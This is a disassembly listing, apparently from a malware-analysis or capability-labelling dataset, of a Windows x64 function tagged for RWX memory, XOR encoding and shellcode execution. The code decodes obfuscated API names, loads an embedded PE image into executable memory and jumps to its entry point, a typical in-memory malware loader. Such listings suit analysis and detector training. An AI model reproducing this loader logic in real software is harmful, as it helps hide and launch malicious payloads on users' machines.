Function at 0x140004920
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x17], rax
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
lea r15, [rbp + 0x5f]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp + 7], rdx
mov qword [rbp + 0xf], r15
mov r12, qword [r15]
xor r12, rdx
mov qword [rbp - 0x39], r12
mov qword [rbp - 1], r12
xor r14d, r14d
mov qword [r15], r14
mov r10d, 0x5a4d
mov edx, dword [0x14000b090]
cmp dx, r10w
jne 0x140004dcd
mov rax, qword [0x14000b0cc]
cmp eax, 0x400
jg 0x140004dcd
movsxd rdi, eax
lea r9, [0x14000b090]
add rdi, r9
cmp dword [rdi], 0x4550
jne 0x140004dcd
lea rcx, [rbp + 0x5f]
lea r11, [rbp + 0x5f]
mov r8, qword [r11]
cmp dx, r10w
je 0x1400049dd
mov qword [r11], r8
jmp 0x1400049ef
movsxd rbx, eax
add rbx, 0xb0
add rbx, r9
cmp dword [rbx], 0
jne 0x1400049f2
mov rbx, r14
mov qword [rcx], r14
mov r13, qword [rdi + 0x30]
mov qword [rbp - 0x31], r13
movups xmm0, xmmword [str.yLlTV_MhV_6_r_]
movups xmmword [rbp - 0x19], xmm0
mov eax, dword [0x1400085d8]
mov dword [rbp - 9], eax
movzx eax, byte [0x1400085dc]
mov byte [rbp - 5], al
movsd xmm0, qword [str.YL_VW]
movsd qword [rbp - 0x49], xmm0
movzx eax, word [0x1400085c0]
mov word [rbp - 0x41], ax
cmp byte [0x1400085c1], 0
je 0x140004a64
mov byte [rbp - 0x49], 0x6e
xor byte [rbp - 0x48], 0x38
xor byte [rbp - 0x47], 0x39
xor byte [rbp - 0x46], 0x3a
xor byte [rbp - 0x45], 0x3b
xor byte [rbp - 0x44], 0x3c
xor byte [rbp - 0x43], 0x3d
xor byte [rbp - 0x42], 0x3e
xor byte [rbp - 0x41], 0x3f
xor byte [rbp - 0x40], 0x40
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
cmp byte [rbp - 5], 0
je 0x140004c00
mov r8d, r14d
cmp dword [0x14000b050], 2
jl 0x140004bc5
movdqa xmm5, xmmword [0x140008850]
movdqa xmm4, xmmword [0x1400088a0]
movdqa xmm6, xmmword [0x140008870]
movdqa xmm0, xmmword [str.7777777777777777O]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x15]
mov edx, dword [rbp - 0x29]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140008880]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140008880]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004ac0
cmp r8d, 0x15
jge 0x140004c00
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140004bd0
lea rdx, [rbp - 0x19]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rdi + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov edx, dword [rdi + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140004c64
test rbx, rbx
je 0x140004dcd
mov edx, dword [rdi + 0x50]
xor ecx, ecx
lea r9d, [rax + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x140004dcd
mov qword [rdi + 0x30], rsi
mov r9d, dword [rdi + 0x54]
lea r10, [rbp + 0x5f]
mov r15, qword [r10]
mov qword [r10], r14
mov rcx, rsi
mov eax, r9d
shr eax, 2
lea rdx, [0x14000b090]
sub rdx, rsi
test eax, eax
je 0x140004c9f
mov r8d, eax
mov eax, dword [rcx + rdx]
mov dword [rcx], eax
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140004c90
mov r8d, r9d
and r8d, 3
je 0x140004cd0
mov eax, r9d
sub eax, r8d
cmp eax, r9d
jae 0x140004cd0
mov ecx, eax
add rcx, rsi
nop dword [rax + rax]
movzx eax, byte [rcx + rdx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140004cc0
mov qword [r10], r15
xor eax, eax
cmp ax, word [rdi + 6]
jae 0x140004d8f
lea r9, [rbp + 0x5f]
lea r11, [rdi + 0x11c]
xor r12d, r12d
lea r13, [0x14000b090]
nop dword [rax]
nop dword [rax + rax]
mov ebx, dword [r11 - 4]
mov edx, dword [r11]
add rdx, r13
mov r10d, dword [r11 - 8]
add r10, rsi
mov qword [r9], r12
mov rcx, r10
mov eax, ebx
shr eax, 2
test eax, eax
je 0x140004d44
mov r9, rdx
sub r9, r10
mov r8d, eax
nop dword [rax]
mov eax, dword [r9 + rcx]
mov dword [rcx], eax
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140004d30
lea r9, [rbp + 0x5f]
mov ecx, ebx
and ecx, 3
je 0x140004d70
mov eax, ebx
sub eax, ecx
cmp eax, ebx
jae 0x140004d70
add rax, r10
sub rdx, r10
mov r8d, ecx
nop dword [rax]
movzx ecx, byte [rax + rdx]
mov byte [rax], cl
lea rax, [rax + 1]
sub r8, 1
jne 0x140004d60
mov qword [r9], r15
inc r14d
add r11, 0x28
movzx eax, word [rdi + 6]
cmp r14d, eax
jl 0x140004d00
mov r12, qword [rbp - 0x39]
mov r13, qword [rbp - 0x31]
mov rcx, rsi
call fcn.1400018c0
cmp rsi, r13
je 0x140004dae
mov r9d, dword [rdi + 0x50]
mov r8, rsi
mov rdx, r13
mov rcx, rsi
call fcn.1400021c0
mov eax, dword [rdi + 0x28]
add rax, rsi
call rax
nop
movabs rax, 0xff00ff00ff00ff00
xor r12, rax
lea rax, [rbp + 0x5f]
mov qword [rax], r12
jmp 0x140004ddf
movabs rax, 0xff00ff00ff00ff00
xor r12, rax
mov qword [r15], r12
xor al, al
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.140006060
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret